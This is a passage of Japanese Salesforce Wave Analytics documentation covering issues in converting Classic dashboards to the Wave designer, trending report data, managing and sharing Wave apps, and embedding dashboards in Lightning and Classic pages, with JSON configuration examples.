ん。

• Wave デザイナは YouTube およびボックスウィジェットをサポートしていないため、これらのウィジェット
を削除します。

• Wave デザイナは [検索条件を許可] ステッププロパティの設定を削除します。変換後、設定を [選択種別]

ウィジェットに適切に再適用できます。このプロパティの名前と場所は、Wave デザイナでは異なります。

メモ: ステップに基準が含まれていない場合でも、"measures":[] を指定する必要があります。
.

ステップ
Classic ダッシュボードをWave デザイナに変更するときに、次のステップの問題が発生する可能性があります。

4742

Wave ダッシュボードの構築分析



• SAQL フォームの比較テーブルステップクエリを指定した場合、比較テーブルの列のカスタム表示ラベルは
指定できません。カスタム表示ラベルを指定するには、ステップがコンパクトフォームである必要があり
ます。次に示すように、header 属性で列の表示ラベルを指定できます。
"query": {

"columns": [{
"query": {

"groups": [ "Product" ],
"measures": [

[
"count",
"*"

]
]

},
"header": "Number of rows"

}]
}

• ステップは次の場合に無効になります。
– 静的ステップ内の項目にあるすべての行の形式が一貫していない。たとえば、"value" 項目が配列として

定義されている場合、ステップ内のすべての行は "value" が配列として定義されている必要があります。
たとえば、次のステップは有効です。
"values": [
{

"display": "Amount",
"value": { "Type": "sum('SplitAmount')" }

},
{
"display": "Percentage",
"value": { "Type": "avg('SplitAmount')" }

}
]

次のステップは無効です。
"values": [
{
"display": "Amount",
"value": { "Type": "sum('SplitAmount')" }

},
{
"display": "Percentage",
"value": [],
"Type": "avg('SplitAmount')"

}
]

– grain ステップに SAQL が含まれている。Wave デザイナは、grain ステップ内の SAQL をサポートして
いません。この問題を修正するには、ステップを作成し直します。Wave デザイナは、aggregateflex

などの他の種別のステップ内の SAQL クエリをサポートしています。
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– 比較テーブルの multi ステップに列レベルの SAQL クエリが含まれている。Wave デザイナは multi ス
テップをサポートしていないため、ダッシュボードの変換中に multi ステップを aggregate ステッ
プに変換します。ただし、列レベルの SAQL クエリが含まれる multi ステップは変換されません。この
問題を修正するには、ステップを次のように作成し直します。

– multiステップにバインドが含まれている。変換中、Wave デザイナは元の multiステップの columns

定義内のメタデータを使用して、ダッシュボード JSON 内に measures および groupings セクション
を作成します。ただし、メタデータにバインドが含まれている場合、Wave デザイナはそのメタデータ
を解決して新しいステップに追加する値を判断することができません。この場合、Wave デザイナはス
テップクエリを追加しますが、measures および groupings セクションの値は追加しません。ステッ
プを修正するには、クエリで指定されたバインドで定義されている基準とグルーピングを特定し、
measures および groupings セクションに追加します。

メモ: ステップに基準が含まれていない場合でも、"measures":[] を指定する必要があります。

モバイルレイアウト
Classic ダッシュボードをWave デザイナに変更するときに、次のモバイルレイアウトの問題が発生する可能性が
あります。
• Classic デザイナダッシュボードで作成されたモバイルレイアウトは、ダッシュボードが Wave デザイナに変

換されるときに削除されます。この問題を修正するには、Wave デザイナのレイアウトユーザインターフェー
スを使用してレイアウトを作り直します。

• Classic デザイナダッシュボードとは異なり、Wave デザイナダッシュボードはページングをサポートしてい
ません。使用できるのは 1 ページのみです。
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バインド
Classic ダッシュボードをWave デザイナに変更するときに、次のバインドの問題が発生する可能性があります。
変換後にバインドが正常に機能しない場合は、ダッシュボードに表示されません。この問題が生じた場合は、
Salesforce カスタマーサポートにお問い合わせください。
• Wave デザイナダッシュボードは、新しいバインド構文を使用する新しいランタイムエンジンで実行されま

す。Wave デザイナに変換されるときに、ダッシュボードバインドは新しい構文に更新されません。新しい
ランタイムエンジンは元のバインド構文のサブセットを処理できます。ステップ内の文字列または数値に
基づく基準の選択、グルーピング、検索条件、並び替え順、または制限を設定するバインドを処理できま
す。その他のバインドは、変換後に機能しない可能性があります。無効なバインドを解決するには、新し
いバインド構文を使用してバインドを書き換えます。

• 新しいランタイムエンジンは、古いバインド構文を使用して定義されたバインドの評価が厳格になってい
ます。バインドが適切な形式でない場合、ステップはエラーを返します。
たとえば、バインドに余分な括弧が含まれている場合はエラーが発生します。次のように最も外側のバイ
ンド関数を括弧で囲むことはできません。
"measures": "{{ (value(field(selection(Select_Graph),'compact'))) }}"

この場合、次のエラーが発生します。
"(value(field(selecti -^ Expecting 'FUNCTION', got '('."

この問題を修正するには、次に示すように最も外側の括弧を削除します。
"measures": "{{ value(field(selection(Select_Graph),'compact')) }}"

• 静的ステップ内で日付の範囲を定義する場合、次のように二重配列を使用します。
"step_days": {

"values": [{
"display": "30 Days",
"value": [

[
[

"day",
0

],
[

"day",
365

]
]

]
}],

...
}

この静的ステップを参照するバインドは次のとおりです。
"filters": [

[
"OpportunityServices__c.CloseDate",
"{{selection(step_days)}}",
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">=<="
]

]

選択バインドが配列内で定義されているため、次の例ではエラーが発生します。
"step_days": {

"values": [{
"display": "30 Days",
"value": [

[
"day",
-30

],
[

"day",
0

]
]

}],
...
}

上記の静的ステップを参照するバインドは次のとおりです。
"filters": [

[
"OpportunityServices__c.CloseDate",

[ "{{selection(step_days)}}" ],
">=<="

]
]

関連トピック:

ダッシュボードの Wave ダッシュボードデザイナへの変換

Wave のトレンドデータ
主要な総計値を経時的に追跡するトレンド分析 Wave ダッシュボードを作成することで、拡大し続け、絶えず
変更されるデータセットを理解できます。Wave のトレンド分析データによって、隠れていた洞察を発見し、
同僚と共有できます。
トレンド分析では、データを参照してタイムラインに沿って表示し、膨大なデータの中から認識しづらいトレ
ンドやパターンを浮かび上がらせることができます。関連データが経時的に表示されれば、営業サイクル、パ
フォーマンス、比較、季節性などに対する疑問に一目見て答えを出すことができます。商談やケースなど、時
間単位で視覚化できるデータであれば、トレンド分析ができます。特定の地域での四半期売上など、地理デー
タのトレンド分析も可能です。実際には、日付 (行ごとの日付またはタイムスタンプ属性) が関連付けられた、
定期的に更新されるデータセットであればトレンド分析が可能です。
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トレンド分析 Wave ダッシュボード
Wave でデータをトレンド分析するには、そのデータを収集するレポートをトレンド分析します。
トレンド分析ダッシュボードの共有
トレンド分析ダッシュボードは、Wave ダッシュボードの場合と同様に共有できます。
Wave でのトレンドデータの制限事項
組織のパフォーマンス低下を回避するために、各ユーザが作成可能なスナップショットのサイズとトレン
ド分析データセットの数に制限があります。

トレンド分析 Wave ダッシュボード

ユーザ権限

Wave Analytics でレポート
をトレンド分析する
• 「Wave Analytics の使

用」または「Wave
Analytics テンプレート
アプリケーションの使
用」

および

「Wave Analytics のト
レンドレポートデー
タ」

Wave でデータをトレンド分析するには、そのデータを収集するレポートをトレ
ンド分析します。
1. データセットを作成します。

2. 使用可能なデータソースから [Salesforce レポートのトレンド分析] を選択します。
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3. レポートを選択します。

トレンド分析するレポートが存在しない場合は、まず作成する必要があります。

メモ: 保存されているバージョンのレポートのみがトレンド分析されます。保存されていない変更が
あるレポートをトレンド分析した場合、その変更はトレンド分析ダッシュボードに反映されません。
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4. トレンド分析ダッシュボードのタイトルと新しいトレンド分析データセットを入力します。
5. ダッシュボードの更新スケジュールを設定します。これにより、レポートデータのスナップショットを取

得する頻度が設定されます。

メモ:

• 設定したスケジュールは変更できません。
• その月の 29 日、30 日、または 31 日に更新するスケジュールを選択した場合、日数が少なすぎてそ

のスケジュールに満たない月では更新が行われません。
• 夏時間への変更時に不要な動作が起こらないように、更新時刻として午前 2 時を選択しないように

します。

6. [私の非公開アプリケーション] にトレンド分析データセットを保存しない場合、別のアプリケーションを
選択します。
データセットを共有アプリケーションに保存する場合、そのアプリケーションを参照できるすべてのユー
ザがそのデータセットを参照できます。

7. [トレンド分析を開始] をクリックします。
新しいトレンド分析ダッシュボードの準備ができると、リンクが記載されたメールを受信します。ダッシュ
ボードの準備ができると、Wave データセットリストに表示される、関連するデータセットの探索を開始す
ることもできます。

8. 通知メールのリンクを使用するか、(通知メールの受信後に) 保存先のアプリケーションに移動して、新し
いトレンド分析ダッシュボードに接続します。

メモ: 最初、トレンド分析ダッシュボードには 1 つのデータポイントのみが表示されます。スナップ
ショットが取得されて、ダッシュボードの基礎となる新しい Wave トレンド分析データセットに追加さ
れていくと、データポイントが追加されて増えていきます。

そのレポートの [Wave でトレンド分析] をクリックして直接レポートをトレンド分析することもできます。
Lightning Experience:

Salesforce Classic:

トレンド分析を開始すると、レポートの [Wave でトレンド分析] ボタンが [トレンドを表示] に変わります。
Wave からトレンド分析を停止するには、編集するように選択してトレンド分析データセットを開き、[トレン
ド分析を停止] をクリックします。
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Lightning Experience からトレンド分析を停止するには、トレンドレポートに移動して [トレンドを表示]の横にあ
るメニューを開き、[トレンド分析を停止] を選択します。

Salesforce Classic からトレンド分析を停止するには、トレンドレポートに移動し、レポートで [トレンドを表示]

をクリックしてダイアログを開き、[トレンド分析を停止] をクリックします。

メモ: トレンド分析を停止すると、トレンド分析を停止したところから再開することはできません (一時
停止ボタンはありません)。同じレポートを再度トレンド分析すると、新しいデータセットと新しいトレ
ンド分析ダッシュボードが作成されます。

トレンド分析で最適な結果を得るには、次のガイドラインに従ってください。
• 設定したトレンド分析スケジュールに一致する頻度で、変更のあるレポートを選択します。
• 必ずソースレポートを個人フォルダにコピーします。トレンド分析を開始したら、レポートを編集しない

でください。レポートを変更しないことで一貫したビューを得られます。トレンド分析ダッシュボードを
共有する予定がある場合、参照のみのアプリケーションに保存します。これによりデータの整合性が保た
れ、トレンド分析 Wave ダッシュボードに異常なデータが表示されるのを回避します。
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• 焦点を絞った、観察しやすくアクション可能な洞察を得るには、ソースレポートの範囲を厳密に設定しま
す。たとえば、すべての商談ではなく、当四半期に成立した新規商談のみをトレンド分析します。範囲が
広いと、トレンドを特定するのがより難しくなります。

• レポートのトレンド分析を開始する前に、レポートビルダーで主要な情報を使用してレポートをグループ
化し、集計します。

• トレンド分析のためだけに結合レポートを作成しないでください。トレンド分析ダッシュボードは結合レ
ポートから作成できません。

トレンド分析ダッシュボードの共有

ユーザ権限

Wave Analytics でレポート
をトレンド分析する
• 「Wave Analytics の使

用」または「Wave
Analytics テンプレート
アプリケーションの使
用」

および

「Wave Analytics のト
レンドレポートデー
タ」

トレンド分析ダッシュボードは、Wave ダッシュボードの場合と同様に共有でき
ます。
トレンド分析ダッシュボードは、ダッシュボードの場合と同様に共有できます。
その画像をフィードに投稿したり、画像のダウンロードや共有を行ったりでき
ます。他のダッシュボードと同様に、トレンド分析 Wave ダッシュボードを埋め
込むこともできます。
URL を使用してダッシュボードを直接共有するには、まずトレンド分析ダッシュ
ボードの基礎となるスナップショットデータセットを、対象利用者がアクセス
可能な Wave アプリケーションに保存して共有します。
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重要: トレンド分析ダッシュボードまたは基礎となるデータセットを共有すると、通常はそのデータへの
アクセス権がないユーザにデータが公開される可能性があります。
トレンド分析 Wave ダッシュボードを、通常はセキュリティ設定によってデータを表示できないユーザと
共有することができます。トレンド分析ダッシュボードを、私の非公開アプリケーション以外のアプリ
ケーションに保存した場合、共有制限や項目レベルのセキュリティが設定されているかどうかに関係な
く、そのアプリケーション (および基礎となるデータセット) へのアクセス権を持つユーザは誰でもその
Wave ダッシュボードのすべてのデータを参照できます。

Wave でのトレンドデータの制限事項
組織のパフォーマンス低下を回避するために、各ユーザが作成可能なスナップショットのサイズとトレンド分
析データセットの数に制限があります。
• ユーザあたりの最大トレンド分析データセット数: 5

• スナップショットあたりの最大行数: 100,000

• 組織あたりのすべてのスナップショットの月間最大行数: 4 千万
• トレンド分析データセットは、行の合計数など、Wave プラットホーム全体の制限についてカウントされま

す。
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組織全体の一般的な制限に対するトレンド分析データセットの影響を制御するには、[Wave Analytics 設定] ペー
ジで使用できる次の制限を設定します。
• スナップショットあたりの最大行数: このオプションでは、スナップショットの取得時にトレンド分析レ

ポートに含めることができる最大行数を制御します。レポートが制限を超えた場合、スナップショットは
取得されず、エラーメールがユーザに送信されます。

• トレンド分析データセットの合計最大行数: このオプションでは、スナップショットを含む Wave データセッ
トに含めることができる最大行数を制御します。データセットが制限を超えた場合、最も古いスナップ
ショットがデータセットから削除されます。

これらの制限は管理者ユーザには適用されません。
トレンド分析が始まったら、基礎となるレポートへのアクセス権限の変更、ディメンションや基準の追加およ
び削除を行わないようにしてください。レポートやアクセス権限の変更を行うと、スナップショットが作成さ
れる時点でエラーや不正確性が発生する場合があります。
レポートのトレンド分析時に別のスケジュールを設定しなければ、スナップショットは毎週日曜日深夜 (現地
時間) に作成されます。データの処理と表示には追加の時間がかかるため、スナップショットが遅延する可能
性があります。
トレンド分析を停止して再開した場合は、新規トレンド分析ダッシュボードで新規スナップショットデータ
セットが作成されます。前のトレンド分析データセットは新規ダッシュボードに含まれません。データは
Salesforce データ API を使用して新しいデータセットに移動できます。
Wave ダッシュボードデザイナは、ほとんどの組織でデフォルトで有効になっています。組織で有効なままで
あることを確認します。トレンド分析ダッシュボードを表示するには、Wave ダッシュボードデザイナが有効
になっている必要があります。
ユーザベースに徐々に機能をロールアウトし、データの使用状況とパフォーマンスを観察します。必要なく
なったトレンド分析データセットの使用を停止し、基礎となるトレンド分析データセットを削除してストレー
ジ制限までの残存容量を増やします。

Wave アプリケーションによる一括管理
Wave アプリケーションを作成して、プレゼンテーションの実行、データプロジェクトの整理、アセットの共
有の制御を行います。
Wave Analyticsアプリケーションには、データセット、レンズ、ダッシュボードを含めることができます。Wave

Analytics アプリケーションを作成し、分析プレゼンテーションを整理して実行し、組織の他のユーザと共有し
ます。
Wave アプリケーションの例として、Sales Wave Analytics アプリケーションや Service Wave Analytics アプリケーショ
ンなどの事前作成済み Salesforce アプリケーションが挙げられます。自分で作成するアプリケーションと同様に
これらは Wave アセットのコレクションで、どちらの場合もアプリケーションにダッシュボードとデータセッ
トが含まれます。違いは、Salesforce では、用意された方法で簡単に Salesforce データを探索し、迅速に Wave の
使用を開始するためのアセットが作成されているという点です。独自のアプリケーションには、自分で作成し
たアセットが含まれます。
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アプリケーションレベルの共有
Wave Analytics アプリケーションでは、フォルダのように、ユーザが独自のデータプロジェクト (非公開と共
有の両方) を整理し、データセット、レンズ、ダッシュボードの共有を制御できます。
アプリケーションの作成
アプリケーションを作成し、レンズ、ダッシュボード、データセットの組み合わせを整理して、含めるこ
とができます。
アプリケーションのナビゲーションの設定
アプリケーションで顧客に適切なダッシュボードが表示されるようにカスタムナビゲーションを設定しま
す。
アプリケーションの共有
他のユーザがレンズ、ダッシュボード、またはデータセットを表示できるようにする方法の 1 つは、それ
らが含まれるアプリケーションを共有することです。
アプリケーションの削除
アプリケーションへのマネージャアクセス権があれば、そのアプリケーションを削除できます。アプリケー
ションを完全に削除すると、そのレンズ、ダッシュボード、およびデータセットがすべて Wave Analytics か
ら削除されます。

アプリケーションレベルの共有
Wave Analytics アプリケーションでは、フォルダのように、ユーザが独自のデータプロジェクト (非公開と共有
の両方) を整理し、データセット、レンズ、ダッシュボードの共有を制御できます。
すべてのWave Analyticsユーザには最初に、標準搭載されたデフォルトの共有アプリケーションへの閲覧者アク
セス権が付与されます。システム管理者はこのデフォルト設定を変更してアクセス権を制限または拡張できま
す。各ユーザには、処理中の個人のプロジェクトを対象とする、標準のデフォルトアプリケーションである
[私の非公開アプリケーション] へのアクセス権も付与されます。各ユーザの [私の非公開アプリケーション] の
コンテンツはシステム管理者には表示されませんが、[私の非公開アプリケーション] のダッシュボードとレン
ズは共有できます。
個々のユーザが作成する他のすべてのアプリケーションはデフォルトで非公開です。アプリケーション所有者
とシステム管理者にはマネージャアクセス権があり、アクセス権を他のユーザ、グループ、またはロールに拡
張できます。
閲覧者、エディタ、マネージャアクセス権で実行できる操作の概要を次に示します。

マネージャエディタ閲覧者アクション

XXXアプリケーションでダッシュボード、レンズ、およびデータ
セットを表示する

XXXアプリケーションへのアクセス権を持つユーザを表示する
XXXアプリケーションのコンテンツを、ユーザがエディタまたは

マネージャアクセス権を持つ別のアプリケーションに保存す
る

4754

Wave アプリケーションによる一括管理分析



マネージャエディタ閲覧者アクション

XX既存のダッシュボード、レンズ、データセットへの変更をア
プリケーションに保存する (ダッシュボードを保存するには適
切な権限セットライセンスおよび権限が必要)

Xアプリケーションの共有設定を変更する
Xアプリケーションの名前を変更する
Xアプリケーションを削除する

アプリケーションの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

アプリケーションを作成
する
• 「Wave Analytics アプ

リケーションの作成」

アプリケーションを作成し、レンズ、ダッシュボード、データセットの組み合
わせを整理して、含めることができます。
1. ホームページで、[作成] をクリックします。
2. [アプリケーション] をクリックします。
3. アプリケーションの名前を入力します。
4. [作成] をクリックします。

アプリケーションが作成され、新しいタブに表示されます。これで、レン
ズ、ダッシュボード、データセットをアプリケーションに追加できます。

5. アプリケーションの目的とコンテンツの説明を追加して、同僚がデータの使
用方法を理解できるようにします。
a. アプリケーション名の下にある説明ボックス内をクリックします。
b. 説明を入力します。
c. チェックマーク をクリックして保存します。

6. 必要に応じて、アプリケーションのデフォルトアイコンを変更して他のアプ
リケーションと区別しやすくします。
a. デフォルトのアイコンにマウスポインタを置きます。
b. [アイコン変更] をクリックします。
c. ギャラリーからアイコンをクリックします。

アプリケーションのナビゲーションの設定
アプリケーションで顧客に適切なダッシュボードが表示されるようにカスタムナビゲーションを設定します。
アプリケーションのナビゲーションを設定する手順は、次のとおりです。
1. をクリックしてナビゲーションパネルを開きます。
2. アプリケーションの管理者である場合は、[整理] ボタンが表示されます。このボタンをクリックしてアプ

リケーションを設定します。
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3. ダッシュボードを上下にスライドしてプレゼンテーション順序を変更できます。また、ダッシュボード名
をクリックして非表示または表示を切り替えることができます。

4. アプリケーションからダッシュボードをさらに追加するには、プラス記号をクリックします。
5. アプリケーションのナビゲーションを保持するには、[保存] をクリックします。

アプリケーションを同僚や顧客と共有します。その同僚や顧客がアプリケーションを実行すると、ナビゲー
ションリストの最初のダッシュボードが表示されます。
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アプリケーションの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

アプリケーションを共有
する
• 「Wave Analytics の使

用」とアプリケーショ
ンへのマネージャアク
セス権

他のユーザがレンズ、ダッシュボード、またはデータセットを表示できるよう
にする方法の 1 つは、それらが含まれるアプリケーションを共有することです。
1. アプリケーションページで、[共有] ボタンをクリックします。
2. [アクセス権を付与] タブで、次の手順を実行します。

a. アプリケーションをユーザ、グループ、またはロールと共有するかどう
かを選択します。

b. 名前の入力を開始し、推奨される一致から選択します。
c. 共有アクセス権のレベルを閲覧者、エディタ、マネージャから選択しま

す。
d. [追加] をクリックします。
e. [保存] をクリックし、[完了] をクリックします。
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アプリケーションの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

アプリケーションを削除
する
• 「Wave Analytics の使

用」とアプリケーショ
ンへのマネージャアク
セス権

アプリケーションへのマネージャアクセス権があれば、そのアプリケーション
を削除できます。アプリケーションを完全に削除すると、そのレンズ、ダッシュ
ボード、およびデータセットがすべて Wave Analytics から削除されます。
1. アプリケーションを開き、[削除] をクリックします。

警告: 削除されたアプリケーションは元に戻せません。

該当する場合、Wave Analytics には、アプリケーション以外で影響を受けるレ
ンズとダッシュボードのリストが表示されます。アプリケーションに属する
データセットが削除されると、それらのデータセットを参照するレンズまた
はダッシュボードは使用できなくなります。

重要: リストには、アクセス権のあるレンズとダッシュボードのみが表
示されます。アクセス権がない場合、レンズとダッシュボードがアプリ
ケーション内のデータセットを参照していてもリストには表示されませ
ん。

2. [納入商品を削除] をクリックします。

Wave を全面的に拡張
ビジネス全体で Wave Analytics を活用します。Wave Analytics の視覚化を作成したら、カスタムページ、Visualforce

ページ、コミュニティサイトなどに統合して Salesforce 環境全体で共有することで、より大きな効果が得られま
す。その他の共有方法には、アセットのパッケージ化、プレゼンテーションモード、アノテーション、および
絞り込まれたデータの Wave からのダウンロードなどがあります。さらに、レンズとダッシュボードのカスタ
ムメニューにより、よく使用する Salesforce アクションを Wave から直接実行できます。

あらゆる場所へのダッシュボードの埋め込み
Wave ダッシュボードをあらゆる Salesforce 環境に埋め込みます。ユーザは、埋め込みのダッシュボードから
探索を行い、リンクされたアセットをクリックできます。埋め込みのダッシュボードを [共有] アイコンを
使用して設定すると、[フィードに投稿] および [ダウンロード] 共有オプションを使用できるようになりま
す。
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[分析] タブを使用した Wave の Salesforce への統合
Salesforce Classic または Lightning Experience 内のタブから個人の分析ホームにアクセスし、Wave アプリケーショ
ンを実行します。
Wave の移行、パッケージ化、および配布
Wave アセットを変更セットを使用して移行し、管理パッケージ内にまとめてバンドルし、AppExchange とラ
イセンス管理アプリケーションを使用してパッケージを配布および追跡し、メタデータ API を使用して組織
のためのカスタマイズを管理します。
重要なビジネス総計値に関するスマート通知の設定
通知を使用すると、選択した時間と場所で Wave が作動します。ダッシュボードの数値ウィジェットに通知
条件を追加して、クエリを実行する時間を選択します。Wave、Lightning Experience、Salesforce1 モバイルアプ
リケーション、およびメールに通知を表示できます。通知はWave ダッシュボードデザイナで作成したダッ
シュボードで使用できます。
ダッシュボードアノテーションを使用したコラボレーション
ダッシュボードおよび Chatter で投稿されたコメントを使用してダッシュボードウィジェットにアノテーショ
ンを付加します。アノテーションを使用すると、目の前のダッシュボードを参照しながら、データやその
視覚化の方法について会話を進めることができます。
対話型のライブダッシュボードの提示
実行中のアプリケーションでダッシュボードを提示し、Wave から直接ミーティングを実施します。静的画
像を使用するスライドの代わりにダッシュボードを使用することで、データにリアルタイムにアクセスし、
動的な視覚化を実現できます。
レンズおよびダッシュボードでのカスタムアクションメニューを使用したアクションとリンクの有効化
Wave Analyticsのレンズおよびダッシュボードのカスタムメニューを使用して、ユーザは Salesforce のアクショ
ンを実行したり、Salesforce またはその他の Web サイトのレコードを開いたりできます。
テーブルレコードの一括アクションの設定
Wave デザイナダッシュボードのテーブルウィジェットに表示されるすべてのレコードに適用するカスタム
一括アクションを作成できます。一括アクションを使用して、レコードを更新したり、各レコードに対し
てアクションを実行したりします。
画像や絞り込まれたデータのダウンロード
レンズでの探索やダッシュボードウィジェットから絞り込まれたデータをダウンロードします。ダウンロー
ド形式には、画像 (.png)、Microsoft® Excel® (.xls)、およびカンマ区切り値 (.csv) ファイルがあります。この
機能は、表示されたクエリ (またはステップ) の結果をダウンロードします。
Chatter 投稿および共有リンクによる視覚化の組み込み
視覚化を同僚と共有するには、Chatterに投稿したり、一意の URL を取得したりします。Chatter 投稿では、画
像と、Wave Analyticsのアセット (レンズ、ダッシュボード、アプリケーション) へのリンクが提供されます。
同僚は、アセットへのリンクとアクセス権があれば、表示される情報をドリルダウンして探索できます。

あらゆる場所へのダッシュボードの埋め込み
Wave ダッシュボードをあらゆる Salesforce 環境に埋め込みます。ユーザは、埋め込みのダッシュボードから探
索を行い、リンクされたアセットをクリックできます。埋め込みのダッシュボードを [共有] アイコンを使用し
て設定すると、[フィードに投稿] および [ダウンロード] 共有オプションを使用できるようになります。
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埋め込みのダッシュボードのオプションを比較します。

コンポーネント方法Whereユーザインターフェース

Wave ダッシュボードLightning アプリケーションビルダーの
コンポーネント

ホームページ、レ
コードページ、ア
プリケーション
ホームページ

Lightning Experience のみ

Wave Analytics アセット高度なページレイアウトエディタの
コンポーネント

レコード詳細ペー
ジ

Salesforce Classic のみ

wave:dashboardVisualforce ページコンポーネント任意のページLightning Experience および
Salesforce Classic

Wave ダッシュボードま
たは wave:dashboard

Lightning アプリケーションビルダーま
たは Visualforce ページのコンポーネン
ト

Lightning アプリケー
ションページまた
は Visualforce タブ

Salesforce1

wave:dashboardForce.com コミュニティページの
Visualforce コンポーネント

Visualforce ページコミュニティ

埋め込みの Wave ダッシュボードには、次の機能を追加できます。
• アノテーション、通知、全画面プレゼンテーション
• 共有およびダウンロードオプション
• 他の Wave ダッシュボードへのリンク
• レコードアクションメニュー
• デスクトップの Wave か Wave Mobile かに関係なく、ネイティブアプリケーションへのリンク (Wave ユーザは

使用できますが、コミュニティユーザは使用できません)

埋め込みの Wave ダッシュボードには、次の制限事項があります。
• Wave での探索オプションは含まれていません。
• グラフにカーソルを置いても情報 (ツールチップ) は表示されません。
• 日付セレクタなどの一部の検索条件は設定が困難です。

Lightning ページへの Wave ダッシュボードの埋め込み
Wave Analytics ダッシュボードコンポーネントを Lightning ホームページ、レコードページ、およびアプリケー
ションホームページに追加すると、データの対話型の視覚化が可能になります。ユーザは Lightning ページ
または Wave Analytics のウィンドウのフレーム内でダッシュボードのドリルインや探索を行うことができま
す。
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Salesforce Classic ページへの Wave ダッシュボードの埋め込み
Wave Analytics ダッシュボードを詳細なページレイアウトに追加できます。たとえば、取引先の詳細ページ
に、その取引先に関連付けられたサービスの問題に関するダッシュボードを含めることができます。ユー
ザは、Wave Analytics ウィンドウで表示しているかのように、ダッシュボードでドリルイン、検索条件の適
用、探索ができます。
Wave Analytics ダッシュボードの Visualforce ページへの追加
Wave ダッシュボードをVisualforceページに埋め込むことで、データの対話型のプレゼンテーションが可能に
なります。ユーザは Visualforce ページのフレーム内または Wave Analytics の新しいウィンドウ内でダッシュ
ボードのドリルダウンや探索を行うことができます。
埋め込みのダッシュボードのための信頼できるサイトのホワイトリスト登録
Web ページまたは Web ベースアプリケーションに Wave を埋め込みます。Wave Analytics ホワイトリストで、
信頼済みサイトを指定することで、Salesforce サーバの外側にある Web サイトとアプリケーションに埋め込
み Wave ダッシュボードを含めることができます。
モバイルデバイスでの埋め込みダッシュボードの表示
モバイルユーザがアクセスする、コミュニティなどの Salesforce Web サイトの Visualforce ページに Wave ダッ
シュボードコンポーネントを追加します。または、Lightning アプリケーションページに Wave ダッシュボー
ドコンポーネントを追加します。埋め込まれた Wave ダッシュボードは任意のデバイス (電話、タブレット
など) に合わせて最適化されたレイアウトを選択できます。
コミュニティとの Wave の共有
コミュニティ用の Wave Analytics を使用すると、外部ユーザが各自のコミュニティの Visualforce ページに埋め
込まれた Wave ダッシュボードで共有されたアプリケーションを参照できます。
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Lightning ページへの Wave ダッシュボードの埋め込み

エディション

Lightning Experience で使用
可能。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

埋め込まれた Wave ダッ
シュボードを参照する
• Analytics Cloud -

「Wave Analytics を使
用」権限を含む Wave
Analytics Platform 権限
セットライセンス

Wave Analytics ダッシュボードコンポーネントを Lightning ホームページ、レコード
ページ、およびアプリケーションホームページに追加すると、データの対話型
の視覚化が可能になります。ユーザは Lightning ページまたは Wave Analytics のウィ
ンドウのフレーム内でダッシュボードのドリルインや探索を行うことができま
す。
ダッシュボードを Lightning ページに追加するには、次の手順に従います。
1. Lightning アプリケーションビルダーで、[Wave ダッシュボード]コンポーネン

トを選択します。
2. [ダッシュボード] ドロップダウンリストから、表示するダッシュボードを選

択します。
3. [レイアウト] ドロップダウンリストから、Lightning ページが表示される画面

の種別を選択します。
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4. 埋め込み Wave Analytics ダッシュボードの属性を設定します。
• [[共有] アイコンを表示]オプションを使用すると、ダッシュボードに [共有] アイコンを含めることができま

す。アイコンが存在している場合、ユーザはアイコンをクリックして [共有] ダイアログを開き、Chatter に
投稿したり画像やデータをダウンロードしたりできます。

• [タイトルを表示] チェックボックスでは、ダッシュボードタイトルの表示を制御できます。
• [リンクを新規ウィンドウで開く] 属性では、ダッシュボードから他のアセットへのリンクをどのウィンド

ウで開くかを指定できます。
• [エラー時に非表示] チェックボックスでは、エラーがある場合 (ダッシュボードが見つからないなど) に、

Wave Analytics ダッシュボードを表示するかどうかを制御できます。
• [絞り込み]属性では、実行時にデータセット項目を JSON 形式で指定して絞り込むことができます。下表は、

項目の対応付けのビルディングブロックの説明です。

アクセス方法内容ビルディングブロッ
ク

Wave ホームページで、データセットの [編集] を選択し
ます。[システム名] は、データセットの編集ページの

Wave データセットデータセットシステ
ム名

左パネルにあります (組織に名前空間が定義されている
場合は、データセットのシステム名の前に、名前空間
プレフィックスとアンダースコアを 2 つ追加します)。

[調査] アイコンをクリックして、ウィジェットを開き
ます。次に、[オプション] メニューから [SAQL を表示]

Wave データセットのディ
メンション

項目

を選択します。「グループ化単位」ステートメントで
ディメンション名を探します。

[設定] で、目的のオブジェクトを見つけて [項目] を選
択します。[項目名] (API 名ともいう) を使用します。カ

Salesforce オブジェクトの項
目、または特定の値

値

スタム項目の場合、末尾が「__c」の名前を使用しま
す。

JSON の項目対応付けは、次の形式に従います。

{ 'datasetSystemName1': {'field1': ['$value1']}, 'datasetSystemName2': {'field1':
['$value1', '$value2'],'field2': ['$value3']} }

次に例を示します。
{'opportunity': {'AccountId': ['$Id']}}

メモ: [絞り込み条件]属性 JSON を使用してディメンションで絞り込むには、ダッシュボードにそのディメ
ンション用のリストウィジェットを含める必要があります。

Lightning アプリケーションビルダーの操作についての詳細は、Lightning アプリケーションビルダーの概要ペー
ジを参照してください。
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Salesforce Classic ページへの Wave ダッシュボードの埋め込み

エディション

Salesforce Classic で使用可
能。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

埋め込まれた Wave ダッ
シュボードを参照する
• Analytics Cloud -

「Wave Analytics を使
用」権限を含む Wave
Analytics Platform 権限
セットライセンス

Wave Analyticsダッシュボードを詳細なページレイアウトに追加できます。たとえ
ば、取引先の詳細ページに、その取引先に関連付けられたサービスの問題に関
するダッシュボードを含めることができます。ユーザは、Wave Analyticsウィンド
ウで表示しているかのように、ダッシュボードでドリルイン、検索条件の適用、
探索ができます。

1. 高度なページレイアウトエディタのパレットの左列で、[Wave Analyticsアセッ
ト] を選択します。

2. 選択可能なダッシュボードのリストから項目をページレイアウトの詳細セクションにドラッグします。
